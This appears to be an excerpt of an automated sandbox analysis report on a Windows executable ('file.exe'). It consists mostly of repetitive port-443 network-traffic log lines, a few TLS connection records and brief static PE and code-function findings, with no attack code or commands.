Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50073 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
